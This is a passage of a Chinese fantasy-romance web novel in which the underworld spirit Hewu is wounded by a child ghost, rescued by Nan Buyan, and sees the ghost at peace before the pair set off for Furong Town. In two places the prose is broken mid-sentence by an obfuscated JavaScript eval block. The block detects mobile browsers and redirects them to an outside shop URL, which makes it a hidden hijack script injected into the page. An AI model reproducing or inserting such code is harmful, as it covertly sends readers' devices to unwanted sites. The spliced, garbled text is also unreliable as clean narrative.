阿月落地,小小的身子晃了晃,蒙着白布的双眼对着合芜的方位执拗道:“我就要找!你是骗子!” 她话音落,周身怨气再次翻涌,卷起周围的枯草,化作数道细碎的草刃,朝着合芜周身飞射而来,招式笨拙却凶狠。 合芜身形飘忽,在断壁残垣间躲闪,只守不攻。 可是这样下去不是办法,济婴堂旧址的废墟在两人的打斗间开始二次坍塌。 合芜突然想到,南不宴的那件暗绿色斗篷还在断墙下放着,她找准时机在断墙坍塌前抓起那件斗篷,一个翻身站稳在安全区域。 “幸好没事。”合芜检查了一下斗篷。 可就是这一下的分神,让阿月有了可乘之机。 合芜话音刚落,原本灰蒙蒙的夜空突然破开一道云缝,清冷的月光倾泻而下,尽数洒在阿月身上。 阿月周身沾染月光,竟泛起一层妖异的银辉,她抬起小脸,对着月光,口中念念有词,那首孤寂的儿歌再次响起,调子却变得诡异非常。 “月儿圆,风儿轻,阿婆唤我把家回……” 那月光化作无形的迷障,缕缕飘来,缠上合芜。 合芜未设防备,刹那间,脑海一滞,动作戛然而止,手中的斗篷脱指掉落在地上,她僵在原地,眼神变得空洞,双眸半合,浑身动弹不得, 阿月见她动弹不了,嘴角勾起一抹笑意,她一步步缓缓朝着合芜逼近。 她踩过枯草,走到合芜面前,仰起小脸,蒙着白布的双眼正对着合芜的胸口,小手缓缓抬起,锋利的指甲直直伸向合芜的心脏。 阿月的语气里满是期待:“姐姐别动,我就拿一下,拿到我的生辰礼物,就不疼了。” 指甲划开合芜心口的皮肤,合芜的衣衫上迅速染上殷红的血色。 * 夜色逐渐降临济婴镇,距离合芜离开已过了一日。 南不宴坐在桌案前,垂眸不语,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373642|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道在想些什么。 冯原来回踱着步,根本停不下来,他神情急躁,眉头皱得能夹死一只苍蝇,最后还是忍不住,走到南不宴面前再次问道。 “不宴,你说合芜去查线索了,她一个姑娘能去哪里查线索,最近这镇子上又这么不太平,到处都是危险,我说了让你找人跟着她,你也不让,这万一出了点什么事也没有人能照应可怎么办?” 这去地府的事,也没有几个活人敢跟着去吧,南不宴心想。 “让你安排镇子上的安防,可都有安排好?”南不宴问道。 冯原微微一愣,道:“这点事我还是能做好的,早就已经安排好人手,监督所有镇民天黑之后的出入情况,不会再发生半夜有人遇害的事情。” “那便好。”南不宴的手指轻扣着桌面。 “不是,我问你合芜的事呢,我师傅是有点本事,但是她要是有什么好歹,我可不会放过你啊!”冯原吓唬南不宴,他看着他那冷静的模样就心急。 “她不会有事的。” “好好好,不会有事最好,那接下来我们要做什么?” “等。” “就等?”冯原疑道,他看不懂南不宴的路数。 南不宴面上闪过一丝罕见的犹豫,这一刻,他才意识到若是合芜想要悄无声息地从他们身边消失,他们可是一点办法都没有,没有任何方法能得到有关于她的线索。 她在哪儿,做了什么,有没有遇到什么危险,他都不得而知。 “不宴?”冯原见南不宴愣住,唤道,“你发什么呆?” 南不宴回过神:“我……没什么,先等着,她会回来的。” 冯原挠挠头,实在是忍不住,从袖子里拿出自己的金卦盘,开始捣鼓起来。 “哎,既然只能等着,那让我来算上一卦。”他开始摇晃起自己的卦盘,嘴里念念有词,不多时,三枚铜钱摇落在桌面上。 南不宴问道:“你在算什么?” “在算现在合芜的处境。”冯原答道,连头都没有抬,仔细观察着三枚铜钱。 南不宴的神情认真起来,这是他头一次没有因为冯原算卦的事吐槽他。 “如何?”他问道,手下意识摁在桌上。 冯原皱眉看着卦象:“先塞后通之象……有危险——” “什么?”南不宴道。 “别急。”冯原摆手,“你听我说完,先塞后通,可谓逢凶化吉。” “那不还是有个凶。”南不宴坐不住,站起身。 南不宴望向窗外,他不知道合芜现在究竟在哪,这卦象上的凶相,也不知道她能不能自己处理好。 “哎不宴,我没有眼花吧,你腰间的玉带在发光?”冯原突然出声,声音惊讶,他瞪大了眼睛,指着南不宴腰上的玉带。 南不宴闻言低头,那腰带上的玉石真的隐隐泛着淡淡的白光。 “这是怎么回事啊?难不成这镇子上真的有妖怪?!”冯原声音都变了调。 难道是……她有危险? 下一秒,玉带像是急切地想要将南不宴往屋子外面带,它发出一股强劲,拉着南不宴往外面走。 一定是合芜出事了! 南不宴向外跑去,留下冯原站在那不知所措。 “你去哪儿啊?”冯原喊道。 “合芜有危险!” 南不宴匆匆留下一话,就随着玉带向着镇子外的山岗跑去。 * 夜色浓烈,枯草纷飞。 “姐姐,不会痛的。”阿月的手指已经一半伸进了合芜的心口。 合芜脸上没有半分痛苦的表情,全是麻木与呆滞。 阿月脸上的笑越来越开心:“姐姐的心口和别人的都不一样……说不定有阿月要的礼物呢……” 就在阿月即将握住合芜心脏的那一瞬间。 “嗖——” 一柄闪着寒光的剑刃飞速砍来。 阿月急忙将手收回,但手臂上还是被砍了一道口子,没有血,只有像是粉尘一般闪烁着的亮光从伤口处倾斜而出。 “呼!” 合芜一瞬间表情痛苦,像是溺水之人回到岸上一般,深深呼了一口气,捂住心口瘫坐在了地上。 27. 嚼食月光的孩子(十四) “离她远点!” 那声音在黑夜里特别得清楚,响亮。 合芜捂着心口,指尖颤抖,脸色有些苍白地转头看去。 只见南不宴手握长剑,稳稳地将她挡在身后,他的神情严肃,眉头紧皱,一双眼眸眼尾染上红色,紧紧地盯着站在枯草地中央的阿月。 南不宴余光瞥见合芜身前衣襟上染上的鲜红,眼底的怒意更甚,抬起手中的长剑直指阿月,周身气压低得吓人。 “你竟敢伤她!” 他话音未落,阿月已然再次扑来。 “你和这个姐姐是一路人?那你也是大骗子,你们都得去死!” 阿月伸手直刺南不宴面门,招式笨拙怪异。 南不宴剑招凌厉沉稳,落不了下风。阿月凭着自己对这片废墟的熟悉程度,在残垣间穿梭,数次绕到南不宴身后偷袭,却都被他及时挡住。 两人打得不可开交,卷起满地枯草与碎瓦。 合芜挪到一旁的断墙下,捂着心口的手心闪烁着灵力,慢慢调息,虽然这点伤口要不了她的命,但也能让她疼个半死了。 她看着远处缠斗的两人,急声喊道:“南不宴,留她一条命!”合芜的声音虚弱,也没有多余的力气解释了。 阿月现在还不能死,若是死了,那么多条人命的因果谁来背?总不能让她来背吧。 南不宴听到合芜的呼喊,手中招式一顿,目光扫过合芜苍白的脸,心中一软,手上力道不自觉减轻,却依旧警惕着阿月。 “知道了,你还有力气说话,好好待着别乱动!” 要赶紧找到这人的弱点,不然再拖下去,不知道合芜还能不能挺住。 南不宴盯着阿月,仔细观察着她的招式。 “南不宴,挑开她眼睛上的白布!”合芜喊道。 南不宴点头,假意不敌,故意露出破绽,引阿月扑来,就在阿月的手即将刺到他心口的瞬间,南不宴立马侧身,长剑一挑,精准挑开阿月眼睛前蒙着的白布。 白布飘落,白布下是阿月紧闭的双眼,奇怪的是,蒙着白布的时候这小女娃的魂魄尚能感知到面前的事物,如今没了这白布的遮挡倒像是真的盲人一般,开始晕头转向。 阿月像是受到了什么刺激,发出一声凄厉的哭喊,周身气场溃散大半,身形摇摇欲坠,她胡乱挥舞着手,连方向都辨不清。 南不宴趁机上前,长剑一旋,稳稳架在阿月的脖颈间,剑刃贴着她半透的皮肤,语气冰冷却未下杀手:“别动!” 阿月浑身僵住,茫然地抬着头。 合芜的伤口勉强恢复了些,她扶着墙站起身,摇摇晃晃地走到南不宴身边。 就在此时,一道沙哑的呼喊声突然从济婴堂旧址废墟的边缘传来,非常急切。 “住……住手!求……别伤……她!” 那声音苍老而破碎,不清不楚,断断续续。 合芜和南不宴转头望去,只见一个佝偻的身影,跌跌撞撞地冲了进来。 正是曹府的那个聋哑老阿婆。 老阿婆跌跌撞撞冲过来,踉跄着扑到阿月身前,张开枯瘦的双臂,将小小的阿月紧紧护在怀里。 她浑身颤抖,泪水顺着布满皱纹的脸颊滚落,滴在阿月衣裳上。 阿月被她抱住的瞬间,原本紧绷的小身子软软地靠在她的怀里,紧闭的双眼轻轻颤动,稚嫩的脸颊熟练地蹭了蹭她的衣襟,语气极其温顺。 “阿婆?是阿婆的味道……阿月找到阿婆了!” 她的声音纯粹、欢喜,仿佛刚才那个凶狠的稚魂不是她一样。 南不宴见状,缓缓收回长剑,侧身站到一旁。 合芜依旧捂着自己的心口,脸色苍白,她想到什么,卸了力,微微靠在了南不宴的身侧。 这可是一个和他增进关系的好时机,不用白不用。 南不宴的身形一瞬间有些僵硬,但还是伸手微微揽住合芜的肩膀,以防她跌倒。 合芜看着面前这一幕,才了然,原来那曹府里的聋哑老阿婆就是这阿月口中呼唤了无数遍的阿婆。 其中早有各种线索能证明,她早该想到的,还是大意了。 或许唯有让阿婆亲口解释,才能让阿月彻底放下执念,安心离去。 阿婆一脸害怕地看着拿着剑的南不宴,生怕他会伤害阿月。 “阿婆,别怕。”合芜用虚弱的声音缓缓道,轻轻施法,淡银色的光晕缓缓从她的指尖飞出,萦绕到阿婆的喉咙上。 “我帮您,让您能亲口对阿月说话。” 只见灵力缓缓渗入,阿婆喉咙微动,原本沙哑的声音,渐渐化作清晰的话语,虽然依旧微弱,但却能听清楚了。 阿婆抱着阿月,声音哽咽:“阿月,我的阿月对不起,阿婆没能保护好你。” 从她口中,合芜和南不宴才得知,阿福、阿月和张宝原是一富裕商户之家的孩子,生不逢时,战乱之中一家人感染瘟疫,最后只剩下了三个孩子,和养育他们长大的奶娘,流落到了这济婴镇。 阿婆布满皱纹的手轻轻抚摸着阿月的头:“你生辰那日,阿婆去给你找你想要的萤火虫了,结果回来的时候,只剩下了熊熊的大火。” “阿婆腿脚不便救不出你,你哥哥也不在镇子里,之后他们把阿婆抓住关了起来,阿婆拼命想逃出去找你,但是阿婆做不到……” 阿月靠在阿婆怀里,乖乖地听着,嘴角挂着笑,仿佛听不懂阿婆话语里的悲伤,只知道,她的阿婆在身边,她终于找到她了。 她蹭了蹭阿婆的手,声音软软道:“阿月知道,阿婆会来找我的,阿月一直在等阿婆,等阿婆给我的生辰礼物。” 听到“生辰礼物”四个字,阿婆的哭声愈发哽咽,她轻轻握住阿月的小手,语气愧疚:“傻孩子,对不起,是阿婆没说清楚。阿婆说的生辰礼物,不是能掏出来的真心,是阿婆放在心里的牵挂,是阿婆对你的爱啊。” “真心藏在心里,是看不见、摸不着的,是阿婆不管在哪里,都会想着你,爱着你,这份心意,就是最好的礼物。别做傻事了,孩子……” 阿月似懂非懂,嘴角的笑容更加灿烂,轻轻点了点头。 “阿月懂了。” 合芜看见,阿月周身泛起淡淡的白光,原本透明的身影变得轻盈,如今执念已解,那魂魄只剩下纯粹的灵体。 她的灵魂即将消散,前往地府,得以安息。 忽然,废墟边缘又传来一阵杂乱的脚步声,是冯原带着一众人匆匆赶来,阿福和张宝也在其中。 阿福身形高大,此刻却浑身颤抖,目光死死锁在阿月身上,眼眶瞬间通红。 “阿 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南不宴站在原地,侧过脸,目光落在身边的合芜身上,眼底满是担忧。 “你还好吗?” “没事,要是都堂大人能把我抱得再紧一些就更好了……”合芜抬头看他,楚楚可怜地眨巴着双眼。 她又嘴贫了,只有在她有闲工夫的时候才会这样,南不宴意识到自己再一次被合芜摆了一道,松开手,低声清嗓。 合芜笑意难掩,站稳身子回头轻轻叹了口气,眼底又弥漫上了悲悯。 阿月盲了一辈子,从未见过这世间的模样,也从未见过她最爱的人。 那她就让她在这最后的时间里看看吧。 她强撑着体内残存的灵力,这一次的灵力比之前的都要耗损心神。 让本就盲眼的人短暂恢复视力,本就是逆天而行,更何况阿月是一个即将消散的魂魄,加之合芜自己心口又刚刚受过伤,灵力早已透支。 “阿月,姐姐送你一份礼物,让你看看这世界……” 淡银色的光晕温柔地包裹住阿月的眼眸。 阿月的双眼轻轻颤动,缓缓睁开。 那是一双清澈透亮的眼眸,像山间最纯净的泉水。 她微微眨了眨眼,目光缓缓落在阿婆脸上,落在阿福和宝儿身上,最后,落在了那片幽蓝色的月光海上。 “阿婆……”阿月的声音满是惊喜,“你们都在,还有……这片海,好蓝,好漂亮。” 她笑着,眉眼弯弯,泪水却不自觉地滚落。 她的身影渐渐变得透明,化作无数只洁白的蝴蝶,轻轻扇动着,朝着那月亮飞去。 蝴蝶越来越淡,渐渐融入月光之中,随着晚风缓缓消散在了夜空里。 好了,一切终于结束了,这之后的事就交给地府里的那些鬼差们吧,那些因果也不用她合芜来背了。 合芜轻松地舒了口气,可下一秒,心口的剧痛骤然袭来,喉咙一甜,一口鲜血喷涌而出。 她的身体一软,直直朝着地面倒去。 “合芜!” 南不宴瞳孔骤缩,声音极其慌张,在合芜倒地的瞬间稳稳地将她抱进了怀里。 28. 嚼食月光的孩子(十五) 天边泛起鱼肚白,要不了多久,太阳就会再一次升起。 合芜缓缓睁开眼,只觉得自己被人背着,走在小道上,微微有些颠簸,但她能感觉到背着她的人在努力控制,想让她稳当些。 济婴镇闹鬼案的真相已经全部浮出水面,剩下的事只需要回到镇子上慢慢处理即可。 合芜的身份只有南不宴一人知晓,她晕倒之后,南不宴没有让火急火燎的冯原请大夫,而是背着她绕了一条远路,独自往镇子上走。 南不宴特意叮嘱,不要有人跟着,这回就连风影也包括在内。 合芜感受着身下南不宴结实的后背,心里觉得怪踏实的,心情微妙地将手搂住南不宴的脖子,这样一来他背着也更方便。 合芜感觉到南不宴的步子一顿,气息也微不可察地变了点。 她嬉皮笑脸地将下巴搁到南不宴的肩膀上,几缕发丝飘在她的脸上,怪痒的。 “都伤成这样了,还笑得出来。”南不宴语气不善。 “都堂大人怎么知道我醒了?”合芜才不管他凶巴巴的语气,声音轻轻道。 “我不傻……” “哦,我们都堂大人最聪明了。” 南不宴叹了口气,眉头微微皱着:“也就只有你,傻到自己一个人就敢跑去招惹恶鬼,也不管自己打不打得过……” “都堂大人这不是及时出现了吗?” “那要是我没及时赶到呢?你就等着我给你收尸吧。” 南不宴没好气道,他不敢回想刚才看到合芜第一眼时,那恶鬼几乎整个手掌伸进她心口的样子,血淋淋的,让他心慌。 合芜忍不住笑出声:“我要是死了,那还真不用麻烦都堂大人,我自个儿就飘回地府去了。” 南不宴捞着合芜的膝弯将她往上背了点:“像阿月这样的魂魄,到了地府之后会如何?” 难得他会主动问有关于地府的事情,合芜觉得新奇,细细与他解释。 “她是枉死魂,会先去生死殿……哦对,也就是卷宗阁报道,之后就是去轮回殿,奈何桥,不过……” “不过什么?” 合芜叹口气:“她身上背着几个人命的因果,恐怕想入轮回就没有那么容易了。” “这么说,你们地府还挺讲公平。” “那当然了,我们地府可比你们人界明明白白。说到底啊,还是你们人比较可怕,要不是人心不足蛇吞象,哪里会出现像阿月这样的冤魂,也不会发生之后的这些事情了。”合芜叨叨着,“就是自作自受。” 南不宴没有接话,合芜就当他是默认,无话可说了。 她趴在他背上,往边上看了眼。 “都堂大人,其他人都去哪里了?” “他们已经回镇子上了,我知道你身份不方便,我猜测你的伤口愈合也没有人能帮得了你,就找了个借口,背你慢慢走回去,大概走到了,你就差不多能醒了……” 南不宴没有说,他刚才其实很害怕,他不知道她还能不能醒过来,不知道她会不会就此消失,自己又将再一次见着相熟之人从他眼前消失,无能为力。 “那都堂大人还真是了解我呢!”合芜咧嘴笑道,“不过都堂大人有一点说错了,人也是可以帮我加速伤口愈合的哦。” 南不宴停下脚步,侧过头看她:“怎么帮……我可以吗?”他不确定道。 合芜笑得更欢了,鬼魂体质与人不同,她的伤没有伤及要害,已经愈合得差不多了,但她不打算告诉南不宴。 “当然可以了!众做周知,我们鬼魂就是吸食天地灵气,人的灵气自然也算是灵气喽,都堂大人只需要……”她故意放缓语速。 南不宴无奈道:“只需要什么?” “都堂大人乃人间极品,只要大人让我亲一口,我保证马上生龙活虎像从来没有受伤过一样!”合芜一口气说完,观察南不宴的表情。 只不过南不宴的表情她没有观察到,她只感觉到南不宴手一松,自己直接被放下来,只凭着一双死死搂着他脖子的手吊在他背上。 “咳咳……” “哦不好意思,不好意思!”合芜立马松开手,站定在地面上。 南不宴灰着脸揉了揉自己刚刚突然被锁喉的脖子,微恼道:“我看你现在已经生龙活虎得很,那就自己走回去吧。” 说完,他迈开步子就往前走。 合芜瞥见南不宴虽然表面上倔,但耳朵上的红晕已经将他完全暴露,心里不禁念叨,不亲就不亲嘛,干嘛剥夺她被背的权利! 合芜立马跟上去,左哄右哄好话说尽了都没有半点用,南不宴从始至终都板着一张臭脸。 她干脆也不跟了,直接一个屁股蹲坐下开始卖惨。 “哎呦喂,疼死我了!又开始疼了!” 合芜一边喊着捂着自己心口,还用一只眼观察南不宴的表情。 果然还是这招管用。 南不宴往前走了没几步,还是停下了脚步,他摇了摇头,摆摆手,微弯膝盖,将手撑在大腿上。 合芜会意,连绵不断的哀叫声立马停下,从地上一下子跳起来,冲过去,趴在了南不宴的背上,一双手像是开了自动锁定模式,立刻搂住了南不宴的脖子。 看看,看看,早这样多好。 * 闹鬼一事了结,曹巡抚也按照律法被处置,所有与当年纵火之事有关的人都被带去审问。 接下来的事情就不用合芜他们亲自跟着,济婴镇也恢复了以往的热闹,镇民们晚上也不用再躲着藏着了。 巡检司与曹府相连的小门处,阿福拦住南不宴和合芜。 “多谢合姑娘、南公子,若是没有你们,我阿妹也不会得以安息,我果然没有看错二位,实在无以为报,请受我一拜!”阿福情绪激动,直接跪在合芜和南不宴面前。 “哎哎哎不用不用!”合芜急忙将人扶起,不好意思地挠挠头,“这些都是我们应该做的,你说是吧,都堂大人?” 合芜说完,调皮地看向南不宴。 “……是。”南不宴点头,不自然地收回和合芜对视的目光。 阿福感激道:“我虽然不知道‘都堂大人’在京州是什么职位,但定是顶顶好的。”阿福憨憨笑着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393757|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 合芜学着阿福憨笑的模样,也咯咯笑着,回道:“那你可真聪明,猜对啦!我告诉你,左都御史可是个大大的官,他之前还做过将军呢!” 南不宴往前站了一步,微微挡在合芜和阿福之间,合芜再说下去就要把他卖得干干净净了。 他也不理解这有什么好笑的,合芜还笑得那么开心。 “你挡着我了。”合芜不明所以,扒拉了一下南不宴,可是任凭她怎样用力,南不宴都不带动一下。 南不宴暗暗较着劲,对着阿福道:“你如今和你弟弟还有阿婆重新团聚,应有好多事要置办,这时间也不早,我们也要走了,你还是早些回去得好。” 阿福听得一愣一愣的,点着头。 合芜闻言,又推了几下南不宴,无果,便直接绕到一边又疑惑又好奇。 “我们要走了……去哪里呀?你这么早就决定好了?怎么没人通知我啊?” 她摸摸下巴,他和冯原商量的嘛,怎么不叫她,真不够意思。 南不宴脸上挂不住,眼底藏着尴尬。 下一秒,他抓起合芜的手,就要往曹府走。这回不走,也得装成要走的样子了。 合芜茫然地被他拉着。 可是,阿福再一次将他们拦住。 “那个,今日找二位阿福还有一事。”阿福赶紧道,“二位是否在找曹巡抚之前见过的那个蒙面人?我那日偷听到曹巡抚在监管处念叨时候的话语,说是蒙面人没了,孟医师也没了,我就想到了三年前的事,我想应当是你们在调查此事,就想来告知你们一声。” 南不宴脚步一顿,合芜差点撞到他背上。 “你见过他?”南不宴转过身问道。 阿福开始回忆,一点不拖泥带水:“见过的,三年前孟医师在木庄订了几个药柜,那木柜造型奇异,我便留下来替他安置那些柜子,偶然间听到了他和一个人的对话。” “我那时好奇心重,偷偷看了眼,就是一个蒙着面的人,他和孟医师说是要去边关,叫什么我记不太清了。”阿福思考着,“之后孟医师给他指了条路,说是往北走,要路过芙蓉镇……之后那验货的小药童就来了,我也没好意思继续偷听。” “芙蓉镇……”南不宴垂眸思索。 合芜看着南不宴:“你听过这个地方?” 南不宴摇头,他重新看向阿福:“你口中的这个芙蓉镇,在哪儿?” “二位只要往北走约莫两百里,过了这片五连山之后,就几乎都是平路,车道宽敞也好走,三天多就能到。”阿福道。 “行,那就去这!”南不宴道,“多谢。” 他觉得阿福说的话还是可信的。 合芜左一句右一句听他们聊着,虽然没有听得特别明白,但看样子好像一切都很顺利的样子。 合芜见南不宴道谢,也笑嘻嘻对着阿福道:“多谢啊!” 她说着还想伸手拍拍阿福的肩膀,可手才刚抬起来,就被南不宴拉住另一只手,拽走了。 “那……那祝你们一切顺利啊!”阿福挥手道,看着合芜和南不宴消失在了后门处。